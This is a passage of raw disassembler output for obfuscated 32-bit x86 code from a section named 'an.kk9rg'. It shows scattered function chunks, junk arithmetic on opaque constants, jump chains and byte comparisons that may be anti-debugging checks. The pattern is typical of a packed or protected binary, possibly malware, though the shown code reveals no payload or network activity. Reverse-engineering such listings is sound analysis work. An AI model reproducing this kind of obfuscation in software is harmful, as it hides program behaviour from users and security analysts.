; CODE XREF: sub_10015086+1j xor edx, edx push edx push eax mov eax, [ebp-18h] jmp loc_10013B61 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_100159D8: ; CODE XREF: an.kk9rg:loc_100174B0j ; sub_100136D7+8119j and ecx, 4977AA6Eh rol ecx, 1Dh add ecx, 0C7D92B0Bh call sub_10016573 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_100159EC: ; CODE XREF: sub_1001A6F7-2D13j sub al, 99h push 0FF6ECE1Ah pop edx xor edx, 38D5F424h rol edx, 1Ah loc_100159FD: ; CODE XREF: sub_1001893F:loc_10016D34j jmp loc_10013AD6 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10015A02: ; CODE XREF: sub_1001893F:loc_1001C6F3j or edi, 4F4521F4h xor edi, 0F751DD4Ah add eax, edi pop edi loc_10015A11: ; CODE XREF: an.kk9rg:loc_1001B2DCj jmp loc_1001A498 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10015A16: ; CODE XREF: an.kk9rg:100190C4j pushf push 0AAD5613Ah pop esi and esi, 5758475Ah xor esi, 3AB5248h jmp loc_100176DF ; --------------------------------------------------------------------------- loc_10015A2E: ; DATA XREF: sub_10013389+A2o or eax, eax ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10015A30: ; CODE XREF: sub_10016D04:loc_1001C38Fj jnz loc_10015DD3 jmp loc_10014C16 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10015A3B: ; CODE XREF: sub_10016451-32BEj add edx, 5C1E932Ah xchg edx, [esp+8+var_8] jmp sub_100174F4 ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- loc_10015A49: ; CODE XREF: an.kk9rg:1001BB82j push edx ; =============== S U B R O U T I N E ======================================= sub_10015A4A proc near ; CODE XREF: sub_10019CD1+Ep ; FUNCTION CHUNK AT 10013B89 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001D2C5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jz loc_10013B95 mov eax, ds:dword_10019654 mov eax, [eax] loc_10015A5B: ; CODE XREF: an.kk9rg:loc_1001A325j jmp loc_1001D2C5 sub_10015A4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015A60 proc near ; DATA XREF: an.kk9rg:10015416o ; FUNCTION CHUNK AT 10019854 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D7FC SIZE 0000001B BYTES mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax mov eax, [ebp-14h] mov [ebp-0Ch], eax jmp loc_10019854 sub_10015A60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015A78: ; CODE XREF: an.kk9rg:10019513j mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax jmp loc_10017B08 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10015A88: ; CODE XREF: sub_10019409+2872j add eax, 31E044BDh popf xchg eax, [esp-10h+arg_C] jmp loc_1001DBE6 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_10015A97: ; CODE XREF: sub_1001A6F7:loc_10013AD6j add edx, 0A0A7F8A3h add edx, ebp add edx, 64391A71h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C4A4 jmp loc_1001B01E ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001646E loc_10015AB6: ; CODE XREF: sub_1001646E+13j mov eax, 0B9726E5Ah push esi push 29B01E36h pop esi rol esi, 0Ch sub esi, 0A4D61C6Ch add esi, 0B2F42455h xchg esi, [esp+4+var_4] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001646E ; --------------------------------------------------------------------------- loc_10015AD9: ; CODE XREF: an.kk9rg:1001644Cj add eax, 0F983725Ch or eax, 1DBD91F0h add eax, 0D767EE49h add eax, ebp jmp loc_10018640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10015AF2: ; CODE XREF: sub_1001504E+8BF6j jz loc_10017304 jmp loc_10018037 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- adc ebx, ebp jmp loc_1001AD1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10015B04: ; CODE XREF: sub_10018B4A-FEBj pop edi mov eax, [ebp+var_4] mov al, [eax] call sub_10015C77 loc_10015B0F: ; CODE XREF: sub_1001725E+6744j jmp loc_10017F77 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; --------------------------------------------------------------------------- loc_10015B14: ; CODE XREF: an.kk9rg:1001A83Ej jmp locret_1001C674 ; --------------------------------------------------------------------------- loc_10015B19: ; CODE XREF: an.kk9rg:100167FCj not ebp ; =============== S U B R O U T I N E ======================================= sub_10015B1B proc near ; CODE XREF: sub_1001A606:loc_1001DA88p ; FUNCTION CHUNK AT 10013274 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10014E5F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10015B97 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10015CDA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10019FD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BCA0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D476 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DCA2 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_1001BCA0 sub_10015B1B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10015B2A: ; CODE XREF: sub_100142E8+6402j xchg edx, ebp xor edx, edi jmp loc_1001372F ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_10015B33: ; CODE XREF: sub_10015DB9:loc_1001588Fj sub al, 99h push 6FAC73A4h pop edx loc_10015B3B: ; CODE XREF: an.kk9rg:1001BA98j and edx, 0D917ACCEh or edx, 0D202D786h add edx, 2A632D51h jmp loc_10016855 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_10015B53: ; CODE XREF: sub_10019D80-B4j jmp loc_1001A754 ; END OF FUNCTION CHUNK FOR sub_10019D80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001620D loc_10015B58: ; CODE XREF: sub_1001620D+15j jmp loc_10016155 ; END OF FUNCTION CHUNK FOR sub_1001620D ; =============== S U B R O U T I N E ======================================= sub_10015B5D proc near ; CODE XREF: sub_100182A3p ; sub_10013389:loc_100182C9p ; FUNCTION CHUNK AT 10013161 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001377B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014364 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10014758 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001599F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001660C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016F7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100177EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017866 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10018420 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 10019808 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001ABCF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001AE2F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B5BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B973 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B9B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001BA12 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001BAF4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C484 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C675 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CB0A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001CC02 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D2F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D54F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001D6EE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D843 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001D86E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001DB0F SIZE 0000001A BYTES mov eax, cs xor al, al loc_10015B61: ; CODE XREF: sub_1001767A:loc_100155C2j call sub_10018ABA loc_10015B66: ; CODE XREF: sub_1001A606+10DEj ; sub_10019E2E:loc_1001D928j jmp loc_10014758 sub_10015B5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jno sub_1001ACEF pushf jmp sub_1001ADAE ; --------------------------------------------------------------------------- mov eax, 0F7C6D0F8h call sub_100181E1 mov ds:off_10002040, eax lea eax, sub_1001A1DE jmp loc_1001807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_10015B92: ; CODE XREF: sub_10015B1B-28A0j ; an.kk9rg:10013289j ... jmp loc_1001B6DA ; END OF FUNCTION CHUNK FOR sub_1001A606 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10015B97: ; CODE XREF: an.kk9rg:loc_1001C911j ; sub_10015B1B:loc_1001DCA2j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CB33 loc_10015B9A: ; CODE XREF: sub_1001CB33-3A07j jmp loc_10015532 ; END OF FUNCTION CHUNK FOR sub_1001CB33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015B9F: ; CODE XREF: sub_10013389+3CF9j jmp loc_1001AC47 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100182D9 loc_10015BA4: ; CODE XREF: sub_100182D9-1D7Ej jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_100182D9 ; =============== S U B R O U T I N E ======================================= sub_10015BA9 proc near ; CODE XREF: sub_10016323-2CD5p ; sub_1001453F+12j ; FUNCTION CHUNK AT 10019683 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001C4E5 SIZE 00000005 BYTES push eax jmp loc_1001C4E5 sub_10015BA9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_10015BAF: ; CODE XREF: sub_1001BB72:loc_1001CE25j add eax, ebp add eax, 2739092Dh mov eax, [eax] mov al, [eax] jb loc_100188E0 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10015BC1: ; CODE XREF: sub_100193F2:loc_10018915j sub al, 99h mov edx, [ebp-4] jmp loc_1001973D ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_10015BCB: ; CODE XREF: an.kk9rg:loc_1001C466j push offset sub_1001909F jmp loc_1001D02E ; --------------------------------------------------------------------------- adc eax, ebx jmp sub_1001AB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_10015BDC: ; CODE XREF: sub_10014CDF:loc_10016616j xor eax, 2FC29979h sub eax, ds:100000CAh add eax, 0BE6EF4Dh xchg eax, [esp+4+var_4] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_10015BF7: ; CODE XREF: sub_1001A606+12j jmp loc_10014470 ; END OF FUNCTION CHUNK FOR sub_1001A606 ; =============== S U B R O U T I N E ======================================= sub_10015BFC proc near ; CODE XREF: an.kk9rg:10015455p ; sub_1001564A+5395p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013895 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100157E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016313 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100176BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100179F6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10018711 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001A4FB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A937 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001A9B0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B25D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001B428 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001B6B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D039 SIZE 00000005 BYTES jo sub_10017E49 push ebp mov ebp, esp push ebx mov ebx, ecx jmp loc_1001B25D sub_10015BFC endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015C0E: ; CODE XREF: an.kk9rg:10015DB3j jnb loc_10014F89 ; =============== S U B R O U T I N E ======================================= sub_10015C14 proc near ; CODE XREF: sub_1001B096-2591p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013108 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10015397 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100171BC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100178BF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017EC0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018269 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001889A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001A14F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001AD50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CE31 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001CF37 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001DD83 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx add edx, 9A52CB1h mov edx, [edx] imul byte ptr [edx] call sub_10017CF8 loc_10015C27: ; CODE XREF: sub_1001679F-3051j jmp loc_1001A14F sub_10015C14 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10015C2C: ; CODE XREF: sub_100132E5+6EB6j sub ecx, 0C3514C22h jb loc_100164D4 loc_10015C38: ; CODE XREF: sub_1001C380+Aj jmp loc_1001B52B ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10015C3D: ; CODE XREF: sub_100145ED+54F5j jmp loc_100136BD ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- loc_10015C42: ; CODE XREF: an.kk9rg:100198E1j jmp loc_1001C2CB ; --------------------------------------------------------------------------- test eax, 8E006F6Ch jmp loc_100168EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014092 loc_10015C52: ; CODE XREF: sub_10014092+Aj jz loc_1001D684 jmp loc_1001CB3E ; END OF FUNCTION CHUNK FOR sub_10014092 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10015C5D: ; CODE XREF: sub_100132E5+8256j xor eax, 5B7DCE1Ch push offset sub_1001D81C jmp loc_10014075 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- mov ebp, 9D09513Eh jmp sub_1001D4E5 ; =============== S U B R O U T I N E ======================================= sub_10015C77 proc near ; CODE XREF: sub_10018B4A-3040p ; an.kk9rg:1001A7E9j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 1001309C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013786 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10014872 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001648C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10017175 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100186DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018760 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018C2A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001983D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A202 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 1001BC4B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001C4C8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D060 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi jno loc_10013786 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10018C2A jmp loc_10018760 sub_10015C77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015C95 proc near ; DATA XREF: sub_1001357E+10o arg_0 = dword ptr 4 pop ecx xchg edi, [esp-4+arg_0] mov ebp, edi loc_10015C9B: ; CODE XREF: sub_1001B3CA-BD6j pop edi jmp nullsub_162 sub_10015C95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_10015CA1: ; CODE XREF: sub_10013310+3E47j adc ecx, eax jmp loc_10014C81 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015CA8: ; CODE XREF: sub_10013389+4Bj jl loc_10016FE6 ror ecx, 3 sbb edi, 0EEF4F980h xchg ebp, ecx jmp loc_10016FDE ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10015CBE proc near ; CODE XREF: sub_1001767A:loc_10016F14j ; FUNCTION CHUNK AT 1001CFFF SIZE 0000000C BYTES push ebp xor ecx, 0B3F0A0E0h not esi test edi, ebx jmp loc_1001CFFF sub_10015CBE endp ; --------------------------------------------------------------------------- loc_10015CCE: ; CODE XREF: an.kk9rg:loc_1001440Ej mov eax, ecx call sub_10017BF9 ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10015CD5: ; CODE XREF: sub_1001C26A+Ej jmp loc_10017B75 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10015CDA: ; CODE XREF: sub_10015B1B-CBAj not ebx shl edx, 9 test eax, 0DD99931Eh jmp loc_10013274 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- mov eax, [ebp-30h] push ecx push 89D70A22h xchg edx, [esp] mov ecx, edx jmp loc_10018397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_10015CFD: ; CODE XREF: an.kk9rg:1001B7BAj ; sub_1001BBDA+Cj jnz loc_1001D5F8 jmp loc_1001B115 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10015D08: ; CODE XREF: sub_10016167-435j jz loc_1001AD36 jmp loc_1001C4E0 ; --------------------------------------------------------------------------- loc_10015D13: ; CODE XREF: sub_10016167+3BF7j xor eax, 12BAAE2Dh add eax, 1717D07Ah add eax, ebp add eax, 8AD42A9Fh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001AD3B jmp loc_10015D08 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10015D37: ; CODE XREF: sub_1001C26A:loc_1001A732j mov edx, esi adc eax, 0FF406935h ror edx, 16h jmp loc_10013871 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- loc_10015D47: ; CODE XREF: an.kk9rg:100142A3j push esi ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_10015D48: ; CODE XREF: sub_1001CD85+Dj sub ebx, 0ADB97A30h or ebx, 185666F2h cmp ebx, 8BC7B87Dh jmp loc_100172C4 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10015D5F: ; CODE XREF: sub_10016734+5DDDj jz loc_10017C91 jmp loc_1001D143 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_10015D6A: ; CODE XREF: sub_1001D9A7:loc_1001DA3Cj test ebp, 453C54Dh jmp loc_10013248 ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10015D75: ; CODE XREF: sub_10016B29:loc_10014C4Ej xor edi, 458FFFB7h add edi, 0BA100D4Dh xchg edi, [esp+8+var_8] push edi push offset loc_10017382 jmp loc_10018392 ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10015D8F: ; CODE XREF: sub_1001C2D8-6A0Aj pop edi xchg edi, [esp+4+var_4] retn ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_10015D94: ; CODE XREF: sub_1001456F+8A66j jmp loc_10016DEC ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- loc_10015D99: ; CODE XREF: an.kk9rg:1001C1A7j jmp loc_10015211 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10015D9E proc near ; CODE XREF: sub_1001A54C+2557p ; FUNCTION CHUNK AT 1001526E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10015FDD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001607A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10016551 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100167B4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017C29 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A92 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10018D57 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100190A7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100195EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A27 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001AC2B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B1F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C33A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C37B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C516 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C5B2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001CD45 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D417 SIZE 0000001C BYTES push edx mov edx, ebp xchg edx, [esp+0] mov ebp, esp jmp loc_10017C29 sub_10015D9E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10015DAB: ; CODE XREF: an.kk9rg:100172B3j jnb loc_1001973D cmp ecx, edi jmp loc_10015C0E ; --------------------------------------------------------------------------- loc_10015DB8: ; CODE XREF: an.kk9rg:10013683j ; an.kk9rg:loc_1001C793j pop esi ; =============== S U B R O U T I N E ======================================= sub_10015DB9 proc near ; CODE XREF: sub_1001A97E-1A2Bp ; FUNCTION CHUNK AT 1001588F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 10015B33 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10016855 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019658 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A45C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D702 SIZE 0000000C BYTES xchg esi, [esp+0] pop esi add eax, ebp add eax, 0ED93ADD6h mov eax, [eax] popf mov al, [eax] jmp loc_10019658 sub_10015DB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015DCF proc near ; DATA XREF: sub_10015E0D+4260o mov esp, ebp pop ebp retn sub_10015DCF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10015DD3: ; CODE XREF: sub_10016D04:loc_10015A30j rol eax, 0Ah push eax jmp sub_100194D6 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; =============== S U B R O U T I N E ======================================= sub_10015DDC proc near ; CODE XREF: sub_10015086+364Ap ; an.kk9rg:10019BF4j xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov esp, ebp pop ebp retn sub_10015DDC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10015DE7: ; CODE XREF: sub_100181E1-3B14j add esi, eax xchg ebx, [esi] loc_10015DEB: ; CODE XREF: sub_100181E1:loc_10013128j push edi mov edi, eax xchg edi, [esp+4+var_4] lea eax, loc_100180E8 jmp loc_10018077 ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- locret_10015DFC: ; CODE XREF: an.kk9rg:loc_1001C6FDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10015DFD: ; CODE XREF: sub_10015086+2CBFj jmp loc_1001B713 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10015E02: ; CODE XREF: sub_10019409-3F0Ej push edi mov edi, eax xchg edi, [esp+0] jmp loc_1001A84E ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10015E0D proc near ; CODE XREF: sub_1001B913j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100132D6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10013628 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013800 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100138CE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10013A00 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 10015061 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015666 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100165E4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10016CBF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017A14 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10018AAC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A06A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A263 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001C669 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D09A SIZE 00000016 BYTES push ebp mov ebp, esp push ecx jmp loc_10018AAC sub_10015E0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10015E16: ; CODE XREF: sub_100136D7+7695j shl ecx, 19h cmp edx, edi jmp loc_1001B7E4 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10015E20: ; CODE XREF: an.kk9rg:10014D94j add eax, 28h mov [ebp-4], eax inc dword ptr [ebp-0Ch] push offset loc_100180A1 jmp loc_1001DA24 ; --------------------------------------------------------------------------- add ecx, ebp jmp sub_10016E8B ; =============== S U B R O U T I N E ======================================= sub_10015E3A proc near ; CODE XREF: an.kk9rg:10014A01j ; an.kk9rg:10017BEAp ; FUNCTION CHUNK AT 10014B60 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100158D3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10016A0F SIZE 0000000C BYTES xchg eax, [esp+0] pop eax mov eax, [eax] mov al, [eax] jmp loc_10016A0F sub_10015E3A endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_10015E48: ; CODE XREF: an.kk9rg:loc_10019107j ; sub_10014F93+8E37j jmp loc_1001D0B0 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- loc_10015E4D: ; CODE XREF: an.kk9rg:10014E39j jmp loc_10015881 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10015E52: ; CODE XREF: sub_1001A54C+13ADj pushf 